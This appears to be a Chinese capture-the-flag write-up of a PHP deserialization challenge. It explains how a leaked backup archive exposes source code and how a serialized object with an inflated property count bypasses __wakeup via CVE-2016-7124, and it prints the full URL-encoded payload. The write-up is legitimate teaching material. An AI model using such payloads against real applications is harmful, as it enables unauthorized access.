[极客大挑战 2019]PHP学习笔记

目录

    • 前置知识
      • [1. PHP 序列化与反序列化](#1. PHP 序列化与反序列化)
      • [2. PHP 魔术方法](#2. PHP 魔术方法)
      • [3. CVE-2016-7124(`__wakeup` 绕过)](#3. CVE-2016-7124(__wakeup 绕过))
      • [4. 私有属性的序列化格式](#4. 私有属性的序列化格式)
    • 正文

前置知识

在开始做题之前,先理解几个关键概念:

1. PHP 序列化与反序列化

  • 序列化(serialize):把 PHP 对象转换成可存储/传输的字符串格式
  • 反序列化(unserialize):把序列化字符串恢复成 PHP 对象
php 复制代码
// 一个简单对象的序列化结果
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";...}
// ↑类名  ↑属性数  ↑属性名(带空字节)  ↑属性值

2. PHP 魔术方法

  • __wakeup():反序列化时自动调用(常用于重新连接数据库、重置属性等)
  • __destruct():对象销毁时自动调用(常用于释放资源)
  • __construct():创建对象时调用

3. CVE-2016-7124(__wakeup 绕过)

在 PHP 5.x ~ 7.0.10 版本中,如果序列化字符串声明的属性数量 大于实际的属性数量,__wakeup() 方法会被跳过不执行。

4. 私有属性的序列化格式

PHP 中 private 属性在序列化时,属性名会被加上 \0ClassName\0 前缀(即:空字节 + 类名 + 空字节)。因此:

  • private $username → 序列化后为 \0Name\0username(长度为 14)
  • private $password → 序列化后为 \0Name\0password(长度为 14)

正文

一、信息收集

访问目标网站,发现是一个展示猫咪的页面,页面上有一句提示:

"因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯"

这句话暗示网站存在备份文件。尝试访问常见的备份文件名:

url 复制代码
https://target.com/www.zip

成功下载得到 www.zip。解压后得到以下文件:

文件名 作用
index.php 主页面,接收 select 参数并反序列化
class.php 定义 Name 类,包含 __wakeup 和 __destruct 魔术方法
flag.php 定义 $flag 变量(本地测试用)
style.css 样式文件
index.js 前端 3D 动画

二、zip包内容代码审计

先看index.php(关键部分):

php 复制代码
include 'class.php';
$select = $_GET['select'];
$res = unserialize(@$select);

直接从 GET 参数 select 获取输入并反序列化,没有任何过滤!

再看class.php(关键部分):

php 复制代码
class Name {
    private $username = 'nonono';
    private $password = 'yesyes';

    function __wakeup() {
        $this->username = 'guest';  // 反序列化时重置为 guest
    }

    function __destruct() {
        if ($this->password != 100) {
            die("NO!!!hacker!!!");
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;  // 打印 flag!
        }
    }
}

逻辑分析:

  1. __destruct() 在对象销毁时执行
  2. 需要 $password == 100 且 $username === 'admin'
  3. 但 __wakeup() 会在反序列化时把 $username 改成 'guest'
  4. 服务端 PHP 版本为 5.3.3 ,可以利用 CVE-2016-7124 绕过 __wakeup()

三、构造payload

需要构造一个序列化对象,满足:

  • $username = 'admin'
  • $password = 100
  • 绕过 __wakeup()

正常序列化字符串(会被 __wakeup 拦截):

复制代码
O:4:"Name":2:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

绕过 __wakeup()(把属性数量从 2 改成 3):

复制代码
O:4:"Name":3:{s:14:"\0Name\0username";s:5:"admin";s:14:"\0Name\0password";i:100;}

URL 编码后(注意 \0 空字节要编码为 %00):

复制代码
O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

四、发送 Payload 获取 Flag

访问目标网址(注意把 URL 编码后的 payload 拼接到 ?select= 后面):

html 复制代码
http://目标网址/?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D
相关推荐
滴啦嘟啦哒1 分钟前
【具身笔记】【π0.5 微调与仿真】五、在MuJoCo中实现可视化仿真
笔记·python·vla·具身
xier_ran5 分钟前
【infra之路】AI 编译器学习笔记(十三):AI 编译器全景——TVM、XLA、IREE 与其他
人工智能·笔记·学习
连山齐名6 分钟前
ai应用开发的学习笔记
服务器·笔记·学习
乔旭伟27 分钟前
中小厂生产管理系统选型笔记:驱动方式、主线链路与成本结构
笔记·需求分析·规格说明书
xier_ran37 分钟前
【infra之路】AI 编译器学习笔记(十四):为什么要 tiling,以及矩阵计算单元的“固定“
人工智能·笔记·学习
燕落南枝1 小时前
HTML 学习:辅助标签 label 与字符实体
前端·学习·html
hackchen1 小时前
LangChain 学习第 3 课 - 输出解析器(Output Parser)
数据库·学习·langchain
如旧呀1 小时前
origin绘制等距的HSD置信区间
笔记·origin
问心无愧05131 小时前
[极客大挑战 2019]Upload
笔记
wangguanghou12 小时前
【学习成长】深入解析721学习成长模型:70-20-10法则的实践指南与避坑手册
学习